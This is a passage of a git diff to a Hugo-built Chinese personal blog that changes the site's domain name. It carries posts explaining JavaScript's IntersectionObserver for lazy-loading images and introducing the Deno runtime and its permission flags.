实例化\rtarget.forEach((item) =\u003e{\rif (item.intersectionRatio){\r// 当目标可视\ritem.target.src = item.target.alt; // 进行属性值覆盖\rlazyload.unobserve(item.target) // 停止观测\r}\r})\r},{\rrootMargin: \"100px\" // 提前100px\r}); const imgs = document.querySelectorAll(\"img[alt]\"); // 选择带有alt属性的img元素\rimgs.forEach((item) =\u003e {\rlazyload.observe(item)\r// 开始观测\r}); ","wordCount":"69","inLanguage":"en","datePublished":"2021-06-16T09:29:00Z","dateModified":"2021-06-16T09:29:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/16/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript-IntersectionObserver构造函数笔记</h1><div class=post-meta><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/JavaScript-IntersectionObserver%e6%9e%84%e9%80%a0%e5%87%bd%e6%95%b0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果</p><p>该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法</p><p>var observe = new IntersectionObserver(callback, options)</p><p>例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象</p><p>使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象</p><p>当监测目标对象的可视性发生改变时调用callback参数中的回调函数</p><p>options参数：主要是设置观测的对象和观测值，该参数中有三个键值对</p><p>root指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素</p><p>rootMargin指的是用于扩大或者缩小视口的大小</p><p>threshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0</p><p>callback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值</p><p>IntersectionObserverEntry对象</p><p>该对象提供了监测对象的信息，有七个属性</p><p>boundingClientRect：返回目标的矩形信息</p><p>intersectionRatio：返回相交时和目标的比例值，不可视时小于等于0</p><p>intersectionRect：返回目标和视口相交的矩形信息</p><p>isIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）</p><p>rootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息</p><p>target：返回观测的目标对象，是dom对象</p><p>time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒</p><p>如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点</p><p>例如：</p><pre><code>const lazyload = new IntersectionObserver((target)=&gt;{
-    // 实例化
-    target.forEach((item) =&gt;{
-        if (item.intersectionRatio){
-            // 当目标可视
-            item.target.src = item.target.alt; // 进行属性值覆盖
-            lazyload.unobserve(item.target) // 停止观测
-        }
-    })
-},{
-    rootMargin: &quot;100px&quot; // 提前100px
-}); 
-const imgs = document.querySelectorAll(&quot;img[alt]&quot;); // 选择带有alt属性的img元素
-imgs.forEach((item) =&gt; {
-    lazyload.observe(item)
-    // 开始观测
-});</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/17/><span class=title>« Prev</span><br><span>XML学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/15/><span class=title>Next »</span><br><span>简单理解区块链的基本原理</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &#34;100px&#34; // 提前100px }); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 }); "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript-IntersectionObserver构造函数笔记","item":"https://chenjunlinabc.github.io/posts/16/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript-IntersectionObserver构造函数笔记","name":"JavaScript-IntersectionObserver构造函数笔记","description":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{ // 实例化 target.forEach((item) =\u0026gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: \u0026quot;100px\u0026quot; // 提前100px }); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =\u0026gt; { lazyload.observe(item) // 开始观测 }); ","keywords":["JavaScript"],"articleBody":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u003e{ // 实例化 target.forEach((item) =\u003e{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: \"100px\" // 提前100px }); const imgs = document.querySelectorAll(\"img[alt]\"); // 选择带有alt属性的img元素 imgs.forEach((item) =\u003e { lazyload.observe(item) // 开始观测 }); ","wordCount":"69","inLanguage":"en","datePublished":"2021-06-16T09:29:00Z","dateModified":"2021-06-16T09:29:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/16/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript-IntersectionObserver构造函数笔记</h1><div class=post-meta><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/JavaScript-IntersectionObserver%e6%9e%84%e9%80%a0%e5%87%bd%e6%95%b0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果</p><p>该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法</p><p>var observe = new IntersectionObserver(callback, options)</p><p>例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象</p><p>使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象</p><p>当监测目标对象的可视性发生改变时调用callback参数中的回调函数</p><p>options参数：主要是设置观测的对象和观测值，该参数中有三个键值对</p><p>root指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素</p><p>rootMargin指的是用于扩大或者缩小视口的大小</p><p>threshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0</p><p>callback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值</p><p>IntersectionObserverEntry对象</p><p>该对象提供了监测对象的信息，有七个属性</p><p>boundingClientRect：返回目标的矩形信息</p><p>intersectionRatio：返回相交时和目标的比例值，不可视时小于等于0</p><p>intersectionRect：返回目标和视口相交的矩形信息</p><p>isIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）</p><p>rootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息</p><p>target：返回观测的目标对象，是dom对象</p><p>time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒</p><p>如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点</p><p>例如：</p><pre><code>const lazyload = new IntersectionObserver((target)=&gt;{
+    // 实例化
+    target.forEach((item) =&gt;{
+        if (item.intersectionRatio){
+            // 当目标可视
+            item.target.src = item.target.alt; // 进行属性值覆盖
+            lazyload.unobserve(item.target) // 停止观测
+        }
+    })
+},{
+    rootMargin: &quot;100px&quot; // 提前100px
+}); 
+const imgs = document.querySelectorAll(&quot;img[alt]&quot;); // 选择带有alt属性的img元素
+imgs.forEach((item) =&gt; {
+    lazyload.observe(item)
+    // 开始观测
+});</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/17/><span class=title>« Prev</span><br><span>XML学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/15/><span class=title>Next »</span><br><span>简单理解区块链的基本原理</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/161/index.html b/posts/161/index.html
index 9272dbd5..7de94724 100644
--- a/posts/161/index.html
+++ b/posts/161/index.html
@@ -16,7 +16,7 @@
 检查是否安装完成
 deno &ndash;version
 第一个例子
-import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34;
DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => {
console.log(response)
})
运行
+import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34; DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&ndash;allow-net默认运行，例如：deno run &ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -31,8 +31,8 @@
 -A 或者 &ndash;allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/161/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Deno js运行时环境学习笔记"><meta property="og:description" content="Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+安装模块"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/161/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Deno js运行时环境学习笔记"><meta property="og:description" content="Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -50,7 +50,7 @@
 检查是否安装完成
 deno &ndash;version
 第一个例子
-import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34;
DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => {
console.log(response)
})
运行
+import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34; DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&ndash;allow-net默认运行，例如：deno run &ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -65,7 +65,7 @@
 -A 或者 &ndash;allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/161/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-11T07:00:00+00:00"><meta property="article:modified_time" content="2022-11-11T07:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Deno js运行时环境学习笔记"><meta name=twitter:description content="Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+安装模块"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/161/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-11T07:00:00+00:00"><meta property="article:modified_time" content="2022-11-11T07:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Deno js运行时环境学习笔记"><meta name=twitter:description content="Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -83,7 +83,7 @@
 检查是否安装完成
 deno &ndash;version
 第一个例子
-import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34;
DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => {
console.log(response)
})
运行
+import DFetch from &#34;https://deno.land/x/dfetch/mod.ts&#34; DFetch.get(&#34;https://xiaochenabc123.test.com&#34;).then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&ndash;allow-net默认运行，例如：deno run &ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -98,10 +98,10 @@
 -A 或者 &ndash;allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
